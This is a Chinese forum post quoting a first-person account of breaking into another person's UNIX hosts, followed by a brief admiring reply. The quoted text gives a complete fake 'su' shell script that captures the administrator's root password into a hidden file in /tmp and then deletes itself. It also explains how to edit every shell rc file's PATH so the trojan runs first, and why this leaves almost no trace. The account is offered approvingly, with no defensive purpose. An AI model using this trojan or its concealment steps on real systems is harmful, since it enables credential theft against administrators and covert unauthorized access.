引用:
虽然到目前为止,我事实上已经控制了他所有的UNIX主机,也早就有了root权限,但root的密码我还是不知道,这多少还有点不甘心,怎样来得到这个密码呢?穷举当然是一种,但我就算知道了root密码,也不想要干什么,何必费这么大的劲,所以我决定来一招偷天换日,虽然sysadm很少会从telnet登录,但他总要有登陆的时候的,而且一登陆肯定要干root才干的事,他必须使用su命令让自己成为root,使用su命令的时候当然需要输入root的密码,我就可从这点入手,做一个假的su来欺骗,让他先运行的是我写的su,把他输入的密码保存到一个文件上,即使他的密码是对的,也给他出错提示,然后删除我的这个su,他再次运行的就是真正的su了。所以我用sysadm登录并写了如下脚本放在他的用户目录下,文件名为su<br> %vi su<br> #!/bin/sh<br> echo -n "Password:"<br> stty -echo;read PASSWD;stty echo<br> echo "$PASSWD">>/tmp/.password<br> echo;<br> echo "Sorry"<br> rm -fr ~/su<br> :wq<br> %chmod 755 su<br> <br> 为了让他先运行的是我的su而不是系统的su,还需要改变shell的rc文件,所以打开.cshrc 在<br> set path = (/sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)前面增加一个~,<br> 即让系统在查找命令时首先查找的是自己的目录,就是放有我写的su的目录,变成这个样子<br> set path = (~ /sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)<br> 因为不知道他会使用那个shell,所以每一个rc文件都做了同样的处理......<br> <br> 最后的结果当然是顺利的取得了root的密码,虽然这个方法看起来很简陋,容易看穿,但事实上却是非常的隐蔽,在一个UNIX系统上,输入密码是连个*都没有给你回显的,管理员去su的时候,一般都是有事,需要很快做好,输错一次密码应该还没感觉过来,就算之后感觉出来了但我这个su又是运行一次就删掉了,不像什么木马后门之类,做完事还大摸大样的留在那里,而rc文件,一般设置完成之后都很少有去看的,大不了我得到密码之后改回来就是了,基本上并没有留下什么痕迹。<
hoho~~~~~ND杰作哦
  
[此贴被 NetMelody(mmgg00) 在 09月06日11时05分 编辑过]
|